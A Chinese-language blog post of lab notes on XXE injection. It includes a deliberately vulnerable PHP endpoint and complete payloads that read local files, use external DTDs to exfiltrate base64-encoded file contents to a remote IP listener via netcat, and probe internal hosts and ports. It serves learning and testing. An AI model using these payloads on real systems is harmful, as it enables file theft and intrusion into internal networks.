XXE漏洞学习

之前巩固了XML相关的基础知识,现在温故下XXE(XML External Entity Injection,XML外部实体注入)漏洞。

跟着一篇文章带你深入理解漏洞之 XXE 漏洞来做实验。

本地实验环境:windows7;phpstudy;

实验1:有回显读本地敏感文件:

1.php:在服务能接收并解析 XML 格式的输入并回显

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

libxml_disable_entity_loader (false);
// php://input 是个可以访问请求的原始数据的只读流。
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
// 从字符串加载为XML
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// 把 DOM 节点转换为 SimpleXMLElement 对象
$creds = simplexml_import_dom($dom);
echo $creds;

?>

文件放在www目录的xxe文件后访问如下:

image-20201010143120990

用burp suite抓放,可以看到成功获取到文件内容

payload
1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>

image-20201010143254706

进阶:为了防止文件里面有特殊符号(<>/等)导致不能读取,使用CDATA来读取(CDATA 区段中的文本会被解析器忽略)

image-20201010150247697

首先看下不做处理的效果

image-20201010150214693

然后使用CDATA处理的payload

payload
1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///C:/phpStudy/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.116.140/xxe/evil.dtd">
%dtd; ]>

<roottag>&all;</roottag>

evil.dtd,为了方便,我放在跟1.php同目录了

evil.dtd
1
2
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

此时可以正常读取文件

image-20201010150030222

实验2:无回显读取本地敏感文件

2.php

2.php
1
2
3
4
5
6
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

test.dtd,一般放在服务器能访问到的某个Web网站上,这里为了方便直接放在2.php同目录下了

test.dtd
1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/phpStudy/test.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://112.124.16.133:1389?p=%file;'>">

在远程服务器开启监听nc -lvp 1389,等待连接

抓放包

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://192.168.116.140/xxe/test.dtd">
%remote;%int;%send;
]>

image-20201010155617522

远程端口接收到连接,这个时候我们就获取到了base64编码过的文件内容

image-20201010155731526

其实这个实验整个的思路就是我们通过payload的remote读取远程服务器上的test.dtd内容,引用test.dtd的int,再去调用send发送请求,通过操作获取本地服务器的文件并发送内容到我们的监听端口,这时候我们可以从监听端口获取信息,监听端口也可以是dnslog等。

实验3和4:HTTP 内网主机/端口探测

利用XXE漏洞探测内网,以存在XXE漏洞的服务器作为内网支点探测内网存活HTTP服务

还是用上面的2.php。如下图,探测http://127.0.0.1/ 当服务能访问通会返回Content error in the external subset in http://127.0.0.1/,如果是不存在的服务,将返回DOMDocument::loadXML(): failed to load external entity "http://127.0.0.1:66/"

image-20201015150509068

image-20201015150709400

我们可以根据返回结果来判定服务是否存在,利用intruder模块,

image-20201015150849429

image-20201015151030931

参考链接:

https://xz.aliyun.com/t/3357

https://www.jianshu.com/p/ec2888780308

https://www.anquanke.com/post/id/197423

https://xz.aliyun.com/t/2761